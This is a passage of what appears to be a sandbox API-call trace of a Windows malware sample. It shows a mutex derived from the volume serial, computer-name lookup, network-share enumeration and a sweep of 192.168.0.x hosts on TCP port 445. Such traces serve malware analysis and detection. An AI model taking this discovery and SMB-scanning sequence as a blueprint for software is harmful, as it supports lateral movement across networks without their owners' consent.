hHeap=0x6a0000) returned 1 [0276.524] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0276.524] GetProcessHeap () returned 0x6a0000 [0276.524] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0276.524] GetProcessHeap () returned 0x6a0000 [0276.524] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0276.524] GetProcessHeap () returned 0x6a0000 [0276.524] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0276.524] GetProcessHeap () returned 0x6a0000 [0276.524] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0276.524] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0276.524] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0276.525] CloseHandle (hObject=0x1a0) returned 1 [0276.525] GetProcessHeap () returned 0x6a0000 [0276.525] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0276.525] GetProcessHeap () returned 0x6a0000 [0276.525] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0276.525] Sleep (dwMilliseconds=0x3e8) [0277.567] GetProcessHeap () returned 0x6a0000 [0277.567] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba578 [0277.567] GetProcessHeap () returned 0x6a0000 [0277.567] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4d8 [0277.567] GetProcessHeap () returned 0x6a0000 [0277.568] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0277.568] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0277.568] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0277.568] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0277.568] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0277.568] CloseHandle (hObject=0x1a0) returned 1 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0277.568] GetProcessHeap () returned 0x6a0000 [0277.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0277.569] Sleep (dwMilliseconds=0x3e8) [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0278.581] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.581] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0278.581] GetProcessHeap () returned 0x6a0000 [0278.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0278.582] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0278.582] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0278.582] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0278.582] CloseHandle (hObject=0x1a0) returned 1 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0278.582] GetProcessHeap () returned 0x6a0000 [0278.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0278.583] Sleep (dwMilliseconds=0x3e8) [0279.602] GetProcessHeap () returned 0x6a0000 [0279.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba578 [0279.602] GetProcessHeap () returned 0x6a0000 [0279.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4d8 [0279.602] GetProcessHeap () returned 0x6a0000 [0279.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0279.603] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0279.603] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0279.603] GetProcessHeap () returned 0x6a0000 [0279.603] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0279.603] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0279.603] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0279.603] CloseHandle (hObject=0x1a0) returned 1 [0279.604] GetProcessHeap () returned 0x6a0000 [0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0279.604] GetProcessHeap () returned 0x6a0000 [0279.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0279.604] Sleep (dwMilliseconds=0x3e8) [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0280.659] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0280.659] GetProcessHeap () returned 0x6a0000 [0280.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0280.659] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0280.660] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0280.660] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0280.660] CloseHandle (hObject=0x1a0) returned 1 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0280.660] GetProcessHeap () returned 0x6a0000 [0280.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0280.660] Sleep (dwMilliseconds=0x3e8) Thread: id = 57 os_tid = 0x794 [0162.939] GetProcessHeap () returned 0x6a0000 [0162.939] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x21a) returned 0x6bfcb0 [0162.939] GetProcessHeap () returned 0x6a0000 [0162.939] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bb5a8 [0162.940] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x100 [0162.940] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x104 [0162.940] GetComputerNameW (in: lpBuffer=0x6bfcc0, nSize=0xf2f970 | out: lpBuffer="XDUWTFONO", nSize=0xf2f970) returned 1 [0162.940] GetProcessHeap () returned 0x6a0000 [0162.940] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x26) returned 0x6bd558 [0162.940] GetProcessHeap () returned 0x6a0000 [0162.940] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x6bfed8 [0162.940] GetProcessHeap () returned 0x6a0000 [0162.941] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6c3ee0 [0162.942] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6d46c8) returned 0x0 [0164.609] WNetEnumResourceW (in: hEnum=0x6d46c8, lpcCount=0xf2f920, lpBuffer=0x6bfed8, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x6bfed8, lpBufferSize=0xf2f92c) returned 0x103 [0164.610] WNetCloseEnum (hEnum=0x6d46c8) returned 0x0 [0164.610] GetProcessHeap () returned 0x6a0000 [0164.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0164.610] GetProcessHeap () returned 0x6a0000 [0164.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c3ee0 | out: hHeap=0x6a0000) returned 1 [0164.610] GetProcessHeap () returned 0x6a0000 [0164.610] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x7950d8 [0164.610] GetProcessHeap () returned 0x6a0000 [0164.610] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6bfed8 [0164.610] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x6bcb80) returned 0x0 [0164.610] WNetEnumResourceW (in: hEnum=0x6bcb80, lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914) returned 0x103 [0164.611] WNetCloseEnum (hEnum=0x6bcb80) returned 0x0 [0164.611] GetProcessHeap () returned 0x6a0000 [0164.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7950d8 | out: hHeap=0x6a0000) returned 1 [0164.611] GetProcessHeap () returned 0x6a0000 [0164.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0164.611] GetProcessHeap () returned 0x6a0000 [0164.611] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x7950d8 [0164.611] GetProcessHeap () returned 0x6a0000 [0164.611] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6bfed8 [0164.611] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f8f8 | out: lphEnum=0xf2f8f8*=0x6d46c8) returned 0x0 [0181.834] WNetEnumResourceW (in: hEnum=0x6d46c8, lpcCount=0xf2f8f0, lpBuffer=0x7950d8, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x7950d8, lpBufferSize=0xf2f8fc) returned 0x0 [0181.835] GetProcessHeap () returned 0x6a0000 [0181.835] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0181.835] GetProcessHeap () returned 0x6a0000 [0181.835] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36e0500 [0181.836] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x7950d8, lphEnum=0xf2f8b8 | out: lphEnum=0xf2f8b8*=0x799258) returned 0x0 [0195.909] WNetEnumResourceW (in: hEnum=0x799258, lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc) returned 0x0 [0195.910] WNetEnumResourceW (in: hEnum=0x799258, lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x378f588, lpBufferSize=0xf2f8bc) returned 0x103 [0195.910] WNetCloseEnum (hEnum=0x799258) returned 0x0 [0195.910] GetProcessHeap () returned 0x6a0000 [0195.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0195.910] GetProcessHeap () returned 0x6a0000 [0195.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0195.912] WNetEnumResourceW (in: hEnum=0x6d46c8, lpcCount=0xf2f8f0, lpBuffer=0x7950d8, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x7950d8, lpBufferSize=0xf2f8fc) returned 0x103 [0195.912] WNetCloseEnum (hEnum=0x6d46c8) returned 0x0 [0195.912] GetProcessHeap () returned 0x6a0000 [0195.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7950d8 | out: hHeap=0x6a0000) returned 1 [0195.912] GetProcessHeap () returned 0x6a0000 [0195.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0195.912] GetProcessHeap () returned 0x6a0000 [0195.913] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x7950d8 [0195.913] GetProcessHeap () returned 0x6a0000 [0195.913] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6bfed8 [0195.913] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6bcbc0) returned 0x0 [0195.913] WNetEnumResourceW (in: hEnum=0x6bcbc0, lpcCount=0xf2f920, lpBuffer=0x7950d8, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x7950d8, lpBufferSize=0xf2f92c) returned 0x103 [0195.913] WNetCloseEnum (hEnum=0x6bcbc0) returned 0x0 [0195.913] GetProcessHeap () returned 0x6a0000 [0195.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7950d8 | out: hHeap=0x6a0000) returned 1 [0195.913] GetProcessHeap () returned 0x6a0000 [0195.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0195.914] GetProcessHeap () returned 0x6a0000 [0195.914] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x7950d8 [0195.914] GetProcessHeap () returned 0x6a0000 [0195.914] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6bfed8 [0195.914] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x37226c8) returned 0x0 [0195.914] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914) returned 0x0 [0195.914] GetProcessHeap () returned 0x6a0000 [0195.914] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0195.915] GetProcessHeap () returned 0x6a0000 [0195.915] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36e0500 [0195.915] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x795118, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x0) returned 0x4c6 [0195.917] GetProcessHeap () returned 0x6a0000 [0195.917] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0195.917] GetProcessHeap () returned 0x6a0000 [0195.917] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0195.917] GetProcessHeap () returned 0x6a0000 [0195.917] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0195.917] GetProcessHeap () returned 0x6a0000 [0195.917] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36e0500 [0195.917] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7950f8, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x0) returned 0x4b8 [0209.500] GetProcessHeap () returned 0x6a0000 [0209.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0209.553] GetProcessHeap () returned 0x6a0000 [0209.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0209.554] GetProcessHeap () returned 0x6a0000 [0209.554] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x6cfee0 [0209.554] GetProcessHeap () returned 0x6a0000 [0209.555] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0209.555] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x7950d8, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x6bca60) returned 0x0 [0209.942] WNetEnumResourceW (in: hEnum=0x6bca60, lpcCount=0xf2f8c8, lpBuffer=0x6cfee0, lpBufferSize=0xf2f8d4 | out: lpcCount=0xf2f8c8, lpBuffer=0x6cfee0, lpBufferSize=0xf2f8d4) returned 0x103 [0209.942] WNetCloseEnum (hEnum=0x6bca60) returned 0x0 [0209.942] GetProcessHeap () returned 0x6a0000 [0209.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfee0 | out: hHeap=0x6a0000) returned 1 [0209.944] GetProcessHeap () returned 0x6a0000 [0209.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0209.944] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x7950d8, lpBufferSize=0xf2f914) returned 0x103 [0209.944] WNetCloseEnum (hEnum=0x37226c8) returned 0x0 [0209.944] GetProcessHeap () returned 0x6a0000 [0209.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7950d8 | out: hHeap=0x6a0000) returned 1 [0209.944] GetProcessHeap () returned 0x6a0000 [0209.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0209.945] GetProcessHeap () returned 0x6a0000 [0209.945] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3a98) returned 0x794e58 [0209.945] GetIpAddrTable (in: pIpAddrTable=0x794e58, pdwSize=0xf2f93c, bOrder=0 | out: pIpAddrTable=0x794e58, pdwSize=0xf2f93c) returned 0x0 [0210.112] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0210.112] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0210.112] htonl (hostlong=0xffffff) returned 0xffffff00 [0210.112] htons (hostshort=0x1bd) returned 0xbd01 [0210.112] GetProcessHeap () returned 0x6a0000 [0210.112] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x37af5a0 [0210.112] GetProcessHeap () returned 0x6a0000 [0210.112] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x378d580 [0210.112] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0210.112] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] 